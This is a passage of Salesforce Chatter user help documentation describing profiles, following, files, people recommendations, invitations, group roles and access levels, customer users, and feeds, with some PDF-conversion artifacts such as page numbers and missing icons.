File, Your Company A file shared with your company in Chatter is indicated by the your company icon ( ) and is available to all Chatter users in your company. All Chatter users in your company can find and view this file. File Viewer Users with the viewer permission can view, download, and share files in Chatter. Files Tab A tab that lists a user's Chatter and Salesforce CRM Content files. Follow A subscription to a user or record that lets you see related updates in your Chatter feed. Follow a user to see status updates. Follow a record to see posts, comments, and field changes. Customers, Chatter Users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Message, Chatter A Chatter message is a private communication with other Chatter users. Use messages to send your manager a question privately, or to communicate with a few select people when a discussion isn't relevant to everyone you work with. Messages don't appear in your feed, your profile, or any other part of Chatter that's publicly visible. People Users in your Salesforce organization. A list of people is available on the People tab in Chatter. Post A top-level comment in a Chatter feed. Profile, Chatter A personal page for each Salesforce user that includes contact information, following and followers lists, a Chatter feed, and a photo. Record Update An update in a Chatter feed that is the result of a field change on a record that is being followed. Status Update An update made by posting to the Chatter feed on your profile or Chatter or Home tab, usually to tell other people what you're working on. Your status update displays on your Chatter or Home tab, on your profile, and in the Chatter feeds of people following you. Unfollow To stop following a user or record and stop seeing their updates in your Chatter feed.

2134

Collaborating with Chatter

Using Chatter

Update A single activity that displays in a Chatter feed, such as a status update, post, or field change.

See Also:
Setting Up Chatter Chatter FAQs Chatter Mobile App Overview

Using Chatter
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

With Chatter, you can: Update your profile to tell other people about yourself. Update your status so people can see what you're working on. Post a file or a link to share with other people. Find and follow people in your Salesforce organization. View Chatter feeds to see recent activities around Salesforce. Follow records to see changes to those records in the Chatter feed on your Home tab and Chatter tab. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. Create and join groups to share information with your team members. Receive email notifications when activities happen in Chatter. Search for Chatter feeds, files, groups, and people.

See Also:
Setting Up Chatter Chatter FAQs

Chatter Tab Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

From the Chatter tab: Click your name or photo to go to your profile page. Click Messages to read your private messages or to send a private message. Share what you're working on.

2135

User Profiles

Profile Overview

Post files or links to share with other people. View, filter, sort, and add comments to your Chatter feed. Click the People, Groups, or Files link on the left side to see the people, groups, or files list. View your people, group, and record recommendations. View your company's trending topics to see the topics that are being discussed right now in Chatter. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. Click a favorite to see the latest posts and comments for topics and Chatter feed searches. If you haven't added any favorites, the Favorites section doesn't appear on the Chatter tab.

See Also:
Using Chatter Adding Topics to Posts and Comments

USER PROFILES
Profile Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Customize your profile with a photo and information about yourself so your coworkers can learn more about you. Click Your Name > My Profile at the top of any page or click your name anywhere around the application to view your profile. View other people's profiles by clicking their name. If hover details are enabled, you can also see contact details and perform actions by hovering over people, files, and groups in the recent items lists and owner fields on records. Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps. From your profile: Click in the Contact section to edit your contact information.

Click in the About Me section to add additional information about yourself. Update your status in the What are you working on? field. Upload a profile photo. Start a chat. Send a private message. See who's following you and who you're following. If you're not following anyone, click Find people to follow in the Following list and start following people. View your group memberships. If you're not in any groups, click Join or create groups in the Groups list to join some groups.

2136

User Profiles

Editing Chatter Contact Information

See your recent updates in your Chatter feed. View a single feed update. View, download, and search files you've posted in Chatter. View the topics you use most often. See your personal Chatter activity statistics under your photo. Chatter activity statistics include how many posts and comments you've made, how many comments you've received, and how many people liked your posts. (The likes received number doesn't include likes on comments.) You can also see your coworkers' Chatter activity statistics on their profiles.

When using profiles, consider these tips: Your status displays next to your name around the application; click Clear to remove your status. However, your status also displays in your Chatter feed and the feeds of people following you, and Clear does not remove it from these locations. To delete your status from feeds, click , which appears when you hover over your status in a feed. You can optionally attach files and links to your status updates. Your contact information is also visible in your user detail and is subject to validation or other rules set by your administrator. Click the User Detail link on your profile to view your user detail page. When you change your email address in your contact information, a confirmation is sent to the new address. You must click the link provided in that email for the change to take effect. To search the contents of other people's About Me, click the search box in the header and select Search Options.... Enter a search term and select People in the Objects section. Portal users don't have profiles. For organizations using Salesforce to Salesforce, the Connection User displays in feeds, but does not have a profile. Users with the "Manage Users" permission can edit profiles and photos for other users. Click the People or Chatter links above the profile picture to go to the People list or to the Chatter page.

See Also:
Using Chatter Configuring Chatter Email Notifications and Digests Chatter Moderators Chatter FAQs

Editing Chatter Contact Information


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Your contact information is visible to all users in your Chatter organization. You can change this information at any time by viewing your profile on the Profile tab or by clicking Your Name > My Profile at the top of any page. Click in the Contact section of your profile to edit your contact information. Click More... to see all the available fields.

You can change the following fields (in alphabetical order): Field
City

Description City portion of users address. Up to 40 characters are allowed in this field.

2137

User Profiles

Uploading Chatter Group and Profile Photos

Field
Country Email

Description Country portion of users address. Up to 40 characters are allowed in this field. Email address of user. Must be a valid email address in the form: jsmith@acme.com. Up to 80 characters are allowed in this field. Fax number for user. First name of user, as displayed on the user edit page. Up to 40 characters are allowed in this field. Last name of user, as displayed on the user edit page. Up to 80 characters are allowed in this field. Indicates the user's manager. This field can only be set by an administrator. Cellular or mobile phone number. Up to 40 characters are allowed in this field. State or province portion of users address. Up to 20 characters are allowed in this field. Street address for user. Up to 255 characters are allowed in this field. Job title of user. Up to 80 characters are allowed in this field. The user's work phone number. You can enter up to 40 characters here. Zip code or postal code portion of users address. Up to 20 characters are allowed in this field.

Fax First Name

Last Name

Manager Mobile Phone State/Province Street Address Title Work Phone Zip/Postal Code

Uploading Chatter Group and Profile Photos


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Upload a photo to your profile so people can see who you are, or upload a photo for Chatter groups that you own or manage. 1. View your profile or a group: View your profile by clicking Your Name > My Profile at the top of any page or by clicking the Profile tab. View a group by clicking a group name in a feed, on the Groups tab, or in the Groups list on someone's profile.

2. Hover over the stock photo and click Add Photo, or if you previously added a photo, click Update. 3. Click Browse.... 4. Select a file to upload and click Open. Note: Photos can be .jpg, .gif, or .png format up to 8 MB.

5. Drag the dotted lines in the photo to create a thumbnail image that displays next to your name or the group's name around the application. 6. Click Save.

2138

User Profiles

Using the Following and Followers Lists

To delete a photo, hover over the photo and click Delete, then click OK.

See Also:
Profile Overview Viewing Chatter Groups

Using the Following and Followers Lists


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

View the Following and Followers lists on your profile to see who and what you're following, and who is following you. If you're not following anyone, click Find people to follow in the Following list to view the People list and start following people. You can also view the Following and Followers lists on other people's profiles. Note: When your administrator turns on Chatter, you automatically follow some users and records in your organization.

In either list, click Show All to view the full list in alphabetical order. Use the Next and Previous links to see more of the list. Optionally filter the Following list by people or objects, for example, accounts or files. In your Following list, click to stop following a person or record. Follow to follow a person or record. to stop following them. In another person's Following list, click

In any Followers list, click Follow to follow a person, or Click Done to close the window.

See Also:
Following People and Records The People and Records You Auto-Follow Initially Profile Overview Chatter Feeds Overview Using Chatter Feeds People Overview

Using the Files Owned List

2139

User Profiles

Using the Files Owned List

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: The name workspace has changed. The new name is library unless your administrator has changed the name. We haven't changed how it worksjust made the name easier to understand. Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The Files Owned list on a profile shows the five files the profile owner attached most recently to a Chatter feed on the a profile, a record, or a group. It also includes files the profile owner has uploaded most recently to Salesforce CRM Content libraries. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking the file name. To see a list of all the files the profile owner has attached and uploaded, to search for a specific file, or to perform actions on a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can: Search for files the profile owner has attached and uploaded in Chatter and Salesforce CRM Content. The list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Click Upload a File to upload a private file or upload and share the file with people, groups, or via a file link.. Click the Preview icon next to a file. Preview lets you see the file without downloading it. next to the file you're following to stop

Click to follow and receive updates about a file in the Chatter feed. Click receiving updates about the file.

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile. Note: Only files you have access to are listed. For example, if the profile owner posted a file to a private group or library you're not a member of, you won't see that file in the list. Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews. Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Profile Overview

2140

People

People Overview

PEOPLE
People Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The People tab and the People list on the Chatter tab display a list of the users in your organization. Click a person's name or photo to view his or her profile. Click Follow to see a person's status updates in the Chatter feed. You can't follow customers. Click Following to stop seeing a person's status updates in the Chatter feed. Click a column header to sort the list: Name sorts alphabetically by name. By default, the list is sorted alphabetically, in ascending order. Status Last Updated sorts by the most recent updates. This applies to all updates, regardless of who you're following. Following sorts based on who you're following and not following. Search for users by typing characters of a first or last name in the search box at the top of the page. The list automatically filters based on what you type. At the top of the list, click a letter to list everyone whose last name begins with that letter. Invite people to join your Chatter network. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records. View the people that Chatter recommends you follow. Click More in the Recommended People section to view all of your recommendations. If no recommendations appear, then you're already following all the recommended people.

Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Chatter Feeds Overview Using the Following and Followers Lists Following People and Records People Recommendations Overview Using Chatter Feed Filters

People Recommendations Overview

2141

People

People Recommendations Overview

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends people in your organization that you might want to follow based on similar interests. For example, Chatter recommends people who: Follow the same people as you. Are in your management hierarchy, such as your manager, people who report to your manager, and people who report to you. Salesforce uses the Manager field on the personal information page to determine these recommendations. If this field is blank, Chatter won't recommend people based on your management hierarchy. Only your Salesforce administrator can edit the Manager field. Are popular, which means they have many followers. Are new to Chatter. Are interested in the same records as you. For example, someone who has looked at or edited an account that you've recently viewed.

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations appear, then you're already following all the recommended people. You can also see a recommendation immediately after following someone on a profile page. This recommendation appears only if you and the person you just followed have shared interests. For example, if you follow Madison Rigsby on her profile page, you can see a recommendation for someone that Madison follows if you also share interests with that person. Note: If your organization has fewer than 16 people, you automatically follow everybody, so no people are recommended.

See Also:
Viewing Your Recommendations Using the Following and Followers Lists Following People and Records

Inviting People to Join Chatter


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

User Permissions Needed To invite people to Chatter: Allow Invitations

You can invite people from your company that don't have Salesforce licenses to use Chatter. Invited users can view profiles, post on their feed, and join groups, but can't see your Salesforce data or records.

2142

Groups

Chatter Groups Overview

To invite people to Chatter: 1. Click Invite People to Chatter on the People page or Invite Coworkers! on the Chatter page. Note: You can only invite people with email addresses in your company's supported domains. Portal users can't send invitations. 2. To send invitations from Chatter, enter email addresses and click Send. 3. To send invitations using your own email account, click send your own email invitation. If you have a default email client set, an email containing an invitation link opens in your mail program. Otherwise, you see an invitation link that you can copy and paste into an email. You can also invite coworkers to join a public group even if they don't use Chatter yet. Additionally, owners and managers of private groups can send invitations. If customer invitations are enabled, owners and managers can also invite customers on page 2154. When someone accepts an invitation to join the group, they join Chatter as well. 1. Click Groups and click on a group name. 2. In the Members section on the group detail page, click Invite People. If you are the group owner or manager, you can also click Add/Remove Members, then click Invite them to Salesforce Chatter!. 3. Enter email addresses and click Send. Note: If a user doesn't accept the invitation within the first day, Chatter sends an email reminder the second day. If the user doesn't accept that invitation, Chatter sends another reminder the following day. A user has up to 60 days to accept an invitation to join Chatter. If during that time, an administrator deselects Allow Invitations or removes the user's domain from the list, the user can't accept the invitation.

See Also:
People Overview Adding and Removing Chatter Group Members Adding or Removing Customers in Chatter Groups

GROUPS
Chatter Groups Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter groups let you collaborate with specific people. For example, if you're working on a team project, you can create a group for your team to share project-related files and information. You can join up to 100 groups, and your company can have a total of 10,000 groups. Chatter groups have different levels of access:

2143

Groups

Chatter Groups Home

Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly. Allow Customers: The group owner and managers can invite customers to join the group. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Note: Once you allow customers in a group, you can't change the group access level.

Click Groups on the Chatter tab to see a list of groups. Note: Chatter, Profile, People, Groups, and Files tabs are available by default in the Chatter app. Select the Chatter app from the app menu in the top right corner of any page. If your administrator has added these tabs to other apps, you see the tabs in those apps unless you previously customized your display. In that case, add the tabs to those apps.

See Also:
Chatter Groups Home Joining or Leaving Chatter Groups Viewing Chatter Groups Editing, Changing the Owner, or Deleting Chatter Groups Joining or Leaving Chatter Groups

Chatter Groups Home


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Groups page, accessible by clicking Groups on the Chatter tab, displays a list of Chatter groups. Click New Group to create a new group. Filter the groups list: All Groups shows all groups in your company Recently Viewed shows the groups you recently looked at, starting with the group you viewed last My Groups shows the groups you belong to, own, or manage Search for groups by typing two or more letters of a group name or description in the Find Groups box. The list automatically filters based on what you type. View the groups that Chatter recommends you join based on the group's popularity and the number of connections you have in the group in the Recommendations section. Click More to see the full list. If you don't see recommendations, you already belong to all the recommended groups.

2144

Groups

Creating Chatter Groups

Within the groups list: Click a group name to view the group. You can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. Groups that allow customers say (With Customers). Click a group owner's name to see his or her profile. Click Join to join a public group. For private groups, click Ask to Join to email a request to join to the group's owner and managers. Users with the Modify All Data permission can directly join private groups, and therefore see Join for private groups. Click to leave a group or to withdraw a request to join a group. Click a column header to sort the list. The Group column sorts by group name; the Last Activity column sorts by the date of the last post or comment on a group; the Membership column sorts based on your membership status.

See Also:
Chatter Groups Overview Editing, Changing the Owner, or Deleting Chatter Groups Viewing Chatter Groups Using the Group Files List Creating Chatter Groups Adding and Removing Chatter Group Members Chatter Group Recommendations Overview Using Chatter Feed Filters Joining or Leaving Chatter Groups

Creating Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Create Chatter groups to collaborate with your teams and work on projects. 1. On the Chatter tab, click Groups. 2. Click New Group and enter a group name and description. Note: You own groups you create. To assign a new owner, finish creating the group, then edit the group settings.

3. Select an access level: Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly.

2145

Groups

Joining or Leaving Chatter Groups

Allow Customers: The group owner and managers can invite customers to join the group. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Note: Once you allow customers in a group, you can't change the group access level.

4. Click Save.

See Also:
Chatter Groups Overview Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members Viewing Chatter Group Members Joining or Leaving Chatter Groups

Joining or Leaving Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To join a Chatter group: For public groups, click Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover. For private groups, click Ask to Join on a group detail page, in the Groups list on the Chatter tab, or on a group hover. An email is sent to the group's owner and managers, who can accept or decline your request. Users with the Modify All Data permission can directly join private groups, and therefore see Join for private groups.

You can join up to 100 groups. Requests to join private groups count toward this limit. For example, if you're a member of 90 groups, you can only request to join 10 more groups. To leave a public or private Chatter group, go to the Groups list on the Chatter tab or a group detail page and click also withdraws a request to join a private group. . Clicking

See Also:
Chatter Groups Overview Viewing Chatter Groups Chatter Groups Home

Viewing Chatter Groups

2146

Groups

Viewing Chatter Groups

Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To view a Chatter group, click the group's name in a feed, in the Groups list on the Chatter tab, or on someone's profile. You can view all groups, but you'll only see updates and files for public groups, and for private groups you belong to. The actions you can perform depend on your role in the group. People with the Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to. For all groups: Click Join to join a public group, or Ask to Join to send an email to the owner and managers of a private group requesting to join. View group information and description. For private groups, you must be a member to view the group information. View the group's members in the Members section. The group owner's picture has a key icon and displays in the top left. For groups that allow customers, the Customers section shows you if the group has any customers. View, download, and search files posted to the group in the Group Files section. For private groups, you must be a member to view files. Click the Groups or Chatter links above the group's profile picture to see the group list or to go to your Chatter page.

As a group member: Click to leave a group, or to withdraw a request to join a private group. To leave a group you own, you must first assign a new owner. If your administrator has enabled invitations, click Invite People to invite people not already using Chatter to join the group. For private groups, you must be a manager or owner to invite people. Click Email Me... to be emailed about activity in the group, either every time someone posts, daily, or weekly. The link changes depending on your settings. For example, selecting Every Post changes the link to Email Every Post. To stop receiving email for the group's activity, click Turn Off Group Email. Clicking Email Settings takes you to the email settings page, where you can modify all your Chatter email settings. Post and comment in the Chatter feed. You can also comment, but not post, on public groups you don't belong to.

Additionally, as a group manager or owner: Click Group Settings to edit group settings, including the name, description, owner, and access level. Click Add Information or in the Information section to add additional information for the group's members. You can customize this section, including its title, to say anything you want. Click Add Description or in the Description section to add a description of the group. Click Add/Remove Members to add or remove group members. Click Change Roles to change member roles. This link doesn't display on groups with only one member. Hover over the group photo and click Add Photo, Update, or Delete to modify the group photo.

2147

Groups

Viewing Chatter Group Members

Click Requests to accept or decline requests to join your private group. This link only displays when there are requests.

See Also:
Creating Chatter Groups Editing, Changing the Owner, or Deleting Chatter Groups Using the Group Files List Chatter Groups Home Adding and Removing Chatter Group Members Joining or Leaving Chatter Groups Viewing Chatter Group Members

Viewing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Members list on a Chatter group detail page shows all of the members of a group. Click Show All to view the full list in alphabetical order. Filter the list to see all members, managers, or the owner Search using the Find Members search box Click Follow or next to a person's name to start or stop following them. You can't follow customers. Use the Next and Previous links to see more of the list Click Done to close the window

See Also:
Adding and Removing Chatter Group Members Joining or Leaving Chatter Groups Viewing Chatter Groups

Chatter Group Recommendations Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter recommends groups that you might want to join based on: The popularity of the group determined by the number of members. The number of people you're following in the group. Chatter recommends groups with the most members you're following. If the group is new (created in the last month).

2148

Groups

Using the Group Files List

To see an expanded list of your recommendations, click More in the Recommendations section. If no recommendations appear, then you already belong to all the recommended groups.

See Also:
Viewing Your Recommendations Chatter Groups Home Creating Chatter Groups

Using the Group Files List


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Note: Microsoft Office 2007 file previews are currently available through a pilot program.

The Group Files list on a Chatter group shows the five most recent files posted to that group. Hover over a file and you can preview it by clicking the thumbnail, follow, share, download, upload a new version, and go to the file detail page by clicking the file name. To see a list of all the files posted to a group, to search for a specific file, or to perform actions on a file, click Show All. The 25 most recently viewed files are listed by default. On this list you can: Search for files that have been posted to the group. The list includes files that you and other people have attached to the Chatter feed on the group. The list doesn't include: Documents from the Documents tab. Attachments from the Notes and Attachments related list. Click Upload a File to upload a private file or upload and share the file with people, groups, or via a file link.. Click the Preview icon next to a file. Preview lets you see the file without downloading it. next to the file you're following to stop

Click to follow and receive updates about a file in the Chatter feed. Click receiving updates about the file.

Click to download, upload a new version, share with people, groups, or via link, and see sharing settings. Click a file name to view the file detail page. You can view detail pages for all files, but you'll only see updates in the Chatter feed for files you follow. Click a file owner's name to see his or her profile. Note: Not all files can be previewed, such as copy-protected PDFs, unknown file types, and any file larger than 25 MB. For files that can't be previewed, the Preview option isn't available on feeds or list views, and files appear as generic file type icons in the feed. Some Microsoft Office 2007 features don't display correctly in previews.

2149

Groups

Editing, Changing the Owner, or Deleting Chatter Groups

Files without a file extension or with an unrecognized file extension are listed as unknown in the Type column.

See Also:
Chatter Groups Home

Editing, Changing the Owner, or Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

You can edit settings for Chatter groups you own or manage. 1. Click Group Settings on a group detail page. 2. Optionally edit the group name and description. 3. Optionally type a name or click the lookup icon to search the group members to assign a new Owner. Only the current owner or people with the Modify All Data permission can change the owner, and you must choose the owner from existing members. Customers can't own groups. 4. Optionally change the access level: Note: If you change a private group to public, updates and files are visible to all users, all pending requests to join the group are accepted, and anyone can join the group. Public: Anyone can see the group's posts, comments, and files, but only members can post, comment, and add files. Anyone can join a public group. Private: Only members can see and add posts, comments, and files. People must ask to join or be added by the group's owner or managers. People with Modify All Data permission can see posts, updates, and files, and join private groups directly. Allow Customers: The group owner and managers can invite customers to join the group. Customers are users outside of your company's email domains. They have very limited Chatter access and can only see groups they're invited to and interact with members of those groups. Note: Once you allow customers in a group, you can't change the group access level.

5. Click Save. If you own a group or have the Modify All Data permission, click Delete to delete the group.

See Also:
Creating Chatter Groups Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members

2150

Groups

Deleting Chatter Groups

Deleting Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Only the owner of a group and users with the Modify All Data permission can delete a group. 1. Click Group Settings on a group detail page. 2. Click Delete. 3. Click OK. Deleting a group permanently deletes the updates of the group, including any links posted to the group. When you delete a group that includes files, you're not deleting the files, just the references to the files. The files remain in their original location. If the files were posted to the group and not shared in other locations, deleting the group also removes the references to the files and moves the files into the file owner's MY FILES where they're private, but can be shared again later.

See Also:
Editing, Changing the Owner, or Deleting Chatter Groups Chatter Groups Overview Creating Chatter Groups Chatter Group Roles Overview Changing Chatter Group Roles

Chatter Group Roles Overview


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

This table describes the actions that can be performed by members, managers, and owners of Chatter groups. People with the Modify All Data permission can perform all actions on all groups regardless of membership, except post to groups they don't belong to. Additionally, people with the View All Data permission can view details of private groups they don't belong to. Customers on page 2154 can be group members and managers, but not owners. Action Post and comment Change member roles Edit group settings Add and remove members Delete posts and comments Edit Information field Delete group Owner Yes Yes Yes Yes Yes Yes Yes Manager Yes Yes Yes Yes Yes Yes Member Yes

2151

Groups

Changing Chatter Group Roles

Action Change group owner

Owner Yes

Manager

Member

See Also:
Viewing Chatter Groups Chatter Groups Home Adding and Removing Chatter Group Members

Changing Chatter Group Roles


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To change Chatter group roles for groups you own or manage: 1. Click Change Roles on a group detail page. 2. To search for members, start typing in the search box. Optionally sort the list by toggling between Managers and All Members. 3. Select the Manager checkbox for people you want to be managers. If a customer is selected as a manager, they will be able to see people who ask to join the group, even if they aren't in other common groups, and will be able to approve requests. Note: To change the group owner, you must own the group or have the Modify All Data permission. Click the Group Settings link next to the current owner to assign a new owner. 4. Click Done.

See Also:
Viewing Chatter Groups Chatter Groups Home Viewing Chatter Group Members Adding and Removing Chatter Group Members

Adding and Removing Chatter Group Members


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

To add or remove members for Chatter groups you own or manage: 1. Click Add/Remove Members on a group detail page. 2. Find who you're looking for:

2152

Groups

Accepting or Declining Private Group Requests

Search using the Find People search box. Toggle between Requests to join the group, Members of the group, and Everyone in your company. Use the Next and Previous links to see more of the list. Note: If the group allows customers, existing Chatter customers will appear in this list. If you can't find who you're looking for, you can invite people by clicking Invite them to Salesforce Chatter!.

3. Click Add to add a member, or to remove a member. For people who have requested to join, click Accept to accept the request, or to decline. 4. Click Done when you're finished. People can also join groups directly. To be notified when you're added to Chatter groups, enable email notifications.

See Also:
Viewing Chatter Group Members Creating Chatter Groups Chatter Group Roles Overview Changing Chatter Group Roles Accepting or Declining Private Group Requests

Accepting or Declining Private Group Requests


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

As the owner or manager of a private Chatter group, you can accept or decline requests to join the group. Additionally, users with the Modify All Data permission can view and manage requests for all groups. 1. View the list of requests by doing one of the following: On a group detail page, click the Request link, for example, 3 Requests On a group detail page, click Add/Remove Members and then click the Requests filter, or scan for requests in the Everyone filter Click the link provided in the email request

2. Accept or decline the requests. Note: An email is sent to each person to tell them that their request was accepted or declined.

Click Accept to accept. If there are more than two requests, you can accept them all by clicking Accept x of y, for example, Accept 3 of 3. Click to decline. Optionally enter a message that will be included with your decline email and click Send. If you change your mind, you can click Cancel to go back.

3. Click Done to close the window.

2153

Groups

Viewing Chatter Group Memberships

If you make a private group public, any pending requests are automatically accepted.

See Also:
Adding and Removing Chatter Group Members Viewing Chatter Group Members

Viewing Chatter Group Memberships


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

The Groups list on your profile shows you the Chatter groups you belong to, sorted by the most recent activity date. If you're not a member of any groups, click Join or create groups to view the Groups tab and join some groups. You can also view the Groups list on other people's profiles to see their group memberships. Click Show All to view the full list in alphabetical order. Use the Next and Previous links to see more of the list. Click to leave a group or withdraw a request to join. On another person's groups list, click Join to join a public group. On another person's groups list, click Ask to Join to send a request to join a private group. Click Done to close the window.

See Also:
People Overview Viewing Chatter Groups Chatter Groups Home

About Chatter Customers in Private Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter customers are users outside your company's email domains who can only see groups they're invited to and interact with members of those groups; they can't see any Salesforce information. An administrator must allow customer invitations before customers can be invited to Chatter. Chatter customers: Can only be added to Chatter if: A manager or owner of a group that allows customers invites them to the group. An administrator adds them in Name > Setup > Manage Users > Users. Can only see:

2154

Groups

Adding or Removing Customers in Chatter Groups

Groups they belong to. People in groups they belong to. Customers only see limited profiles including photo, name, title, email, activity statistics, common group memberships, and common files. They can't post to profiles. Files shared to groups they belong to. Can't see: Records or other Salesforce information, even in search results. Topics I Use Most or Trending Topics. Recommendations and can't be recommended to others. Additionally, groups that allow customers can't be recommended. Are identified as customers in their profiles and groups they belong to. Have limited profiles, including name, photo, title, company, email, activity statistics, feed, group membership, and file ownership. Can't be followed. Additionally, customers can't follow people or files. Can be group members and managers. If customer is a manager, they will be able to see users who request to join the group, even if they aren't in other common groups, and approve requests. Can't own, create, delete, moderate, join, or ask to join groups. Can invite people that they're in common groups with to join groups that they manage. Can't invite people inside your company's domain whose profiles they can't see. Note: In the Chatter mobile apps for Android and iOS, the names and profiles of customer users can be viewed by people inside your company's domain, but customers are prevented from using the apps. Only Chatter for BlackBerry currently allows customers to log in and use the app. The BlackBerry app applies the same restrictions to customer users as Chatter on the Web.

See Also:
Chatter Groups Overview Adding or Removing Customers in Chatter Groups

Adding or Removing Customers in Chatter Groups


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

If customer invitations are enabled, you can add, remove, and invite customers in groups you own or manage that allow customers. 1. Click Add/Remove Members on a group detail page. Note: To add people who aren't already customers in your company, click Invite People, or Add/Remove Members > Invite them to Salesforce Chatter!. Enter email addresses separated by commas, and an optional message, and click Send. When someone accepts your invitation, they join Chatter and become a member of the group. 2. Find the customer you want to add: Search using the Find People search box.

2155

Feeds

Chatter Feeds Overview

Toggle between Members of the group and Everyone in your company. Use the Next and Previous links to see more of the list.

3. Click Add to add a customer, or to remove a customer. 4. Click Done when you're finished.

See Also:
About Chatter Customers in Private Groups Adding and Removing Chatter Group Members

FEEDS
Chatter Feeds Overview
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

Chatter feeds show you recent activities performed by people and on records in your Salesforce organization. Chatter feeds display: On Chatter profiles, where you can see updates by a single user. View your own profile to see your updates and to update your status. On record detail pages, where you can see updates to a single record. In Chatter and on the Home tab, where you can see updates for your company, your updates, updates to records you follow, and status updates of people you follow. In Chatter groups, where you can see updates to a group by its members. You only see feeds for public groups and private groups you're a member of.

Depending on how your administrator has configured feed tracking, you can see feed updates for: Record field changes, for example: Changes to record owner Closed opportunities and cases Created records Tasks and events Note: Unlike other records, you don't auto-follow events or tasks in Chatter after you create them.

Converted leads People's status updates Chatter feed comments and posts

2156

Feeds

Using Chatter Feeds

Shared files and links Posts, comments, and files on Chatter groups you're a member of

You must follow people and records to see their updates in your Chatter feeds. Sharing rules and field-level security determine visibility of record changes in Chatter feeds; you must be able to see a record in order to see changes to that record in feeds. Tracked feed updates that are older than 90 days and have no likes or comments are deleted automatically.

See Also:
Using Chatter Feeds Following People and Records

Using Chatter Feeds


Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, and Developer Editions

